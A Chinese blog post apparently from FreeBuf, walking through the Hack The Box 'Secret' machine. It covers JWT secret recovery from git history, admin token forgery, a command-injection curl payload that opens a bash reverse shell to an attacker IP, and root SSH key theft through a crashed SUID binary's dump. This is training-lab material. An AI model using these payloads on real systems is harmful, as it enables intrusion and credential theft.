freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

Hack The Box - nodejs API、JWT伪造、命令注入、crashdump提权
YangJL 2022-03-29 18:47:23 145925
所属地 广东省

概述

1648366919_62401547d375c213ab79d.png!small

这次做的靶机是一台简单级别的Linux机器,名为Secret。要进入这台机器,首先要审计Web应用git仓库的源码,拿到其中的JWT签名密钥,有这个密钥就可以调用admin function接口,其中一个接口有命令注入漏洞,通过这个漏洞get shell。提权阶段是利用一个SUID二进制文件去读root的sshkey,在其运行时crash进程,获得一个crash report,其中就包含着目标文件的内容。

端口扫描

端口扫描结果如下,开放了22、80和3000端口,80端口web服务的title和3000端口的一样,应该是80端口的nginx做为反向代理,代理了3000端口的web服务。

1648376481_62403aa1a4b19a0e0415d.png!small

80端口的web应用

1648376096_624039200bf45f777dfd6.png!small

1648376129_6240394118fe70be699f1.png!small


这里的web服务是一个名为DumpDocs的文档网站,介绍了其后端API的使用方式,网站上还提供了源码,可以下载下来分析。

1648376342_62403a1693410d0b5053a.png!small

源码分析

文档中说这个网站使用JWT来鉴权,那么只要找到JWT签名密钥就能以任意用户身份发起请求。nodejs应用一般会把密钥作为环境变量放在.env文件中,查看.env文件:

1648376813_62403bedb095dcfd09ec7.png!small

发现这里密钥仍是一个变量,并没有明文存储在其中。

看一下登录功能的代码:

router.post('/login', async  (req , res) => {

    const { error } = loginValidation(req.body)
    if (error) return res.status(400).send(error.details[0].message);

    // check if email is okay 
    const user = await User.findOne({ email: req.body.email })
    if (!user) return res.status(400).send('Email is wrong');

    // check password 
    const validPass = await bcrypt.compare(req.body.password, user.password)
    if (!validPass) return res.status(400).send('Password is wrong');


    // create jwt 
    const token = jwt.sign({ _id: user.id, name: user.name , email: user.email}, process.env.TOKEN_SECRET )
    res.header('auth-token', token).send(token);

})

可以看到,登录功能代码的最后一部分使用了process.env.TOKEN_SECRET来对用户信息进行签名然后作为HTTP头部发回给用户,之后用户发起的请求都会带着这个jwt,后端就根据这个jwt识别用户的信息和是否相应权限。

关于JWT鉴权方式,可以参考以下链接学习:

https://www.jianshu.com/p/f111328ea8c4

https://zhuanlan.zhihu.com/p/370670759

1648379103_624044df18a9806c502f4.png!small

通过对源码的审计,发现了一处命令执行漏洞,如图所示,此处接收参数file之后拼接到getLogs中然后就调用exec函数执行了这个命令。如果向这个接口发请求,就能够利用这个漏洞get shell,但果不其然,这个接口需要管理员theadmin才能访问。所以接下来的目标仍然是获取JWT签名密钥,以便伪造身份。

git仓库源码

既然密钥没有在代码中,那可以查看一下git仓库中的历史版本。

1648378548_624042b49fd13d1000459.png!small

从git日志可以看到.env文件修改的一个commit,查看修改的内容。

1648378673_62404331acfd14ff1092a.png!small

修改的内容正是JWT签名密钥。

拿到JWT签名密钥之后,可以到jwt.io这个网站制作JWT。

1648379503_6240466f4c3a4109d109f.png!small


JWT伪造

一个JWT由三个部分组成:Header、Payload和Verify Signature,其中最后一部分就需要用到签名密钥,Header保持默认即可,而Payload就是我们要伪造的身份信息。

1648380888_62404bd8b67d81bc81f51.png!small

1648380983_62404c37ce7dde3eaa0d7.png!small

伪造的过程比较简单,按照文档示例注册一个普通用户,获取JWT然后用上述网站将Payload中的name字段改为theadmin,再加上JWT签名密钥,即可伪造theadmin用户。

1648381719_62404f1718ae7f95fb234.png!small

伪造身份成功。接下来利用命令注入漏洞get shell。

Get Shell

curl -s -G 'htttp://10.10.11.120/api/logs' --data-urlencode "file=>/dev/null;bash -c 'bash -i >& /dev/tcp/10.10.14.6/443 0>&1'" -H "auth-token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJfaWQiOiI2MTc4MjUzMzJjMmJhYjA0NDVjNDg0NjIiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6ImRmZGZkZmRmQHNlY3JldC5jb20iLCJpYXQiOjE2MzUyNjM4Mjh9.cRgg1KkYXYSwz1xpknTFWTHnx8D-7UMewMubwAGsvQ8" 

使用这个请求获取到了一个reverse shell

1648383153_624054b1291662ffc035c.png!small?1648383153400

reverse shell不能用tab键补全命令,用起来很不方便,于是将我的ssh公钥上传上去,用ssh登录这台机器。

1648385424_62405d905279db91667fc.png!small?1648385424441

提权阶段

常规思路是用LinPEAS找提权点。

LinPEAS是一个用于在Linux系统中寻找可能提权路径的脚本。

https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS

1648386852_62406324552cf2378a2f7.png!small?1648386853444

从结果可以看到有CVE可以利用,但一键提权多没意思啊,这里的提权的预期解法其实是利用图中所示的这个未知SUID文件。

1648387239_624064a7eeddadea22662.png!small?1648387240192

可以看到,这个SUID文件的作用是计算系统中任意文件的字数和行数,因为计算单词数和行数需要读取文件内容,所以这个文件需要在执行时暂时获得最高权限来读取任意文件。

Crash Dump

关于crash dump,简而言之就是当一个进程crash的时候,系统会在/var/crash生成crash dump文件,而这些文件中,就包含着进程crash时正在读的内容,我们可以利用这个过程来获取root用户的ssh私钥。

首先,运行count程序,读取root用户的ssh私钥id_rsa,然后将进程挂起。

1648472226_6241b0a22ac6e60a9b581.png!small?1648472226369

接着,查看进程id,用kill发送一个segment fault信号给此进程,致使其crash。

1648472505_6241b1b9a38b6c4876f3a.png!small?1648472505531

此时/var/crash目录下就有了crash dump文件。

1648472611_6241b2230d2a46857468a.png!small?1648472610899

crashdump文件中包含着关于此进程的许多信息

1648472728_6241b298e031c0a730047.png!small?1648472730260

使用apport-unpack可以解压出进程crash时的内存数据,其中Coredump文件就藏着刚才用count读取的ssh私钥内容。

1648473087_6241b3ff57c28dcecf58d.png!small?1648473087332

用strings查看CoreDump中的可打印字符,就能够找到私钥

1648473329_6241b4f17bfa65b64a16b.png!small?1648473330503

将私钥保持为一个文件,chmod 600 即可用来以root用户身份登录

1648473531_6241b5bb4e695de6e2ffd.png!small?1648473531945

1648471881_6241af4910403e97ab8dd.png!small?1648471880959

总结

这台机器官方评价是easy,但做起来很费劲啊,特别是提权阶段,这个提权方式我看了几位大神的walkthrough也不是很懂其中的原理,只能是先照猫画虎地做一遍,之后再慢慢理解吧,其实还有另一种提权方式,是利用file descriptors(文件描述符)来读取文件内容,Ippsec和0xdf两位大神都提到了,但那种方式我更看不懂,就没有提及。

完整过程欢迎观看我录制的视频:

https://www.bilibili.com/video/BV1mq4y1Y7QQ/


# 渗透测试 # CTF
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 YangJL 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
YangJL LV.3
这家伙太懒了,还未填写个人描述!
  • 3 文章数
  • 0 关注者
spring4shell漏洞信息整理
2022-04-13
攻击者利用Web安全中的根本性缺陷窃取了价值200万美元的加密货币
2022-03-17
文章目录